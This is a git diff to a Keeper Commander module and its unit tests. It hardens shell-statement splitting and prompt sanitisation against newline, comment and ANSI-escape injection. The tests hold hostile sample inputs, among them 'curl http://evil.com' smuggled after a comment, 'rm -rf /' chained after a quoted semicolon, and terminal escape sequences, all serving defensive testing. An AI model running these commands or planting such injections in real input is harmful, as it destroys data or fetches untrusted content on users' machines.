diff --git a/keepercommander/commands/connect_prompts.py b/keepercommander/commands/connect_prompts.py index d3cd66760..0b023f10e 100644 --- a/keepercommander/commands/connect_prompts.py +++ b/keepercommander/commands/connect_prompts.py @@ -89,10 +89,31 @@ def _bold_cyan(s: str) -> str: return _c('1;36', s) def _sanitize(text: Optional[str]) -> str: - """Strip C0/C1 control characters (incl. ESC) from attacker-supplied text.""" + """Escape C0/C1 control characters (incl. ESC) from attacker-supplied text. + + Renders each control character as a visible escape sequence so that + (1) the prompt accurately represents what will execute and (2) a newline + cannot be hidden inside a comment, making two statements render identically. + """ if not isinstance(text, str): return '' - return _CONTROL_CHAR_RE.sub('', text) + + def escape_ctrl(m): + c = m.group(0) + code = ord(c) + if c == '\n': + return '\\n' + elif c == '\t': + return '\\t' + elif c == '\r': + return '\\r' + elif code < 0x20: + return f'\\x{code:02x}' + elif 0x7f <= code < 0xa0: + return f'\\x{code:02x}' + return c + + return _CONTROL_CHAR_RE.sub(escape_ctrl, text) def _is_interpreter(prog: Optional[str]) -> bool: @@ -143,7 +164,15 @@ def _looks_multi_statement(arg: str) -> bool: def split_shell_statements(script: Optional[str]) -> List[str]: - """Split a shell-script into top-level statements""" + """Split a shell-script into top-level statements. + + Handles: + - Single/double quoted strings (quote escaping) + - Escaped characters (backslash) + - Shell statement separators (; \n && ||) + - Comments (#) — # only starts a comment when it begins a word + (at line start or preceded by whitespace) + """ if not script: return [] @@ -159,6 +188,13 @@ def flush() -> None: parts.append(stmt) buf.clear() + def is_word_boundary(pos: int) -> bool: + """True if position is at the start of a shell word (start of line or after whitespace).""" + if pos == 0: + return True + prev_char = script[pos - 1] + return prev_char in (' ', '\t', '\n', ';', '&', '|', '(', ')') + while i < n: c = script[i] if escaped: @@ -174,6 +210,11 @@ def flush() -> None: elif c in ('"', "'"): quote = c buf.append(c) + elif c == '#' and quote is None and is_word_boundary(i): + # Comment: skip until newline (only if # starts a word) + while i < n and script[i] != '\n': + i += 1 + continue elif c in ('\n', ';'): flush() elif c in ('&', '|') and i + 1 < n and script[i + 1] == c: diff --git a/unit-tests/test_connect_security.py b/unit-tests/test_connect_security.py index 8a1d2c4ac..b8c50842c 100644 --- a/unit-tests/test_connect_security.py +++ b/unit-tests/test_connect_security.py @@ -100,14 +100,82 @@ def test_quoted_semicolons_are_not_separators(self): ['echo "a; b"', 'rm -rf /'], ) + def test_newline_injection_via_comment_apostrophe(self): + # Vulnerability: apostrophe in comment should not enter quote state + # and should not swallow the newline + script = "echo ok # TODO: don't forget to\ncurl http://evil.com" + stmts = cp.split_shell_statements(script) + self.assertEqual(len(stmts), 2, f"Expected 2 statements, got {len(stmts)}: {stmts}") + self.assertIn('echo ok', stmts[0]) + self.assertIn('curl http://evil.com', stmts[1]) + + def test_comment_blocks_rest_of_line(self): + # Comment should block everything until newline + stmts = cp.split_shell_statements('echo a # ; ; ;\necho b') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo a') + self.assertEqual(stmts[1], 'echo b') + + def test_quoted_hash_is_not_comment(self): + # Hash inside quotes is not a comment + stmts = cp.split_shell_statements('echo "#"; rm -rf /') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo "#"') + + def test_hash_inside_unquoted_word_is_not_a_comment(self): + # # is only a comment at word boundary (start of line or after whitespace) + # Not in the middle of a word like "safe#" + script = 'echo safe# > /tmp/output; echo next' + stmts = cp.split_shell_statements(script) + self.assertEqual(len(stmts), 2, f"Expected 2 statements, got {len(stmts)}: {stmts}") + self.assertEqual(stmts[0], 'echo safe# > /tmp/output') + self.assertEqual(stmts[1], 'echo next') + + def test_hash_after_whitespace_starts_comment(self): + # # after whitespace is a comment + stmts = cp.split_shell_statements('echo safe # this is a comment\necho next') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo safe') + self.assertEqual(stmts[1], 'echo next') + + def test_hash_at_line_start_starts_comment(self): + # # at start of line is a comment + stmts = cp.split_shell_statements('echo a\n# comment\necho b') + self.assertEqual(len(stmts), 2) + self.assertEqual(stmts[0], 'echo a') + self.assertEqual(stmts[1], 'echo b') + class TestRecordTextIsSanitized(unittest.TestCase): - def test_ansi_escape_in_record_title_is_stripped(self): + def test_ansi_escape_in_record_title_is_escaped(self): evil = 'Connect\x1b[2J\x1b[H' - self.assertEqual(cp._sanitize(evil), 'Connect[2J[H') - - def test_other_controls_are_stripped(self): - self.assertEqual(cp._sanitize('a\x00b\x07c\x7fd'), 'abcd') + # ESC (0x1b) should be escaped, not deleted + sanitized = cp._sanitize(evil) + self.assertIn('\\x1b', sanitized) + self.assertNotIn('\x1b', sanitized) + + def test_control_chars_are_escaped(self): + # Control chars should be escaped, not deleted + result = cp._sanitize('a\x00b\x07c\x7fd') + # 0x00 (null), 0x07 (bell), 0x7f (del) should be escaped + self.assertIn('\\x', result) + # But the original characters should be gone + self.assertNotIn('\x00', result) + self.assertNotIn('\x07', result) + self.assertNotIn('\x7f', result) + + def test_newline_is_escaped_not_deleted(self): + # Critical: newline should be visible, not deleted + result = cp._sanitize('echo backup\ncurl http://evil') + self.assertEqual(result, 'echo backup\\ncurl http://evil') + + def test_tab_is_escaped(self): + result = cp._sanitize('a\tb') + self.assertEqual(result, 'a\\tb') + + def test_carriage_return_is_escaped(self): + result = cp._sanitize('a\rb') + self.assertEqual(result, 'a\\rb') if __name__ == '__main__':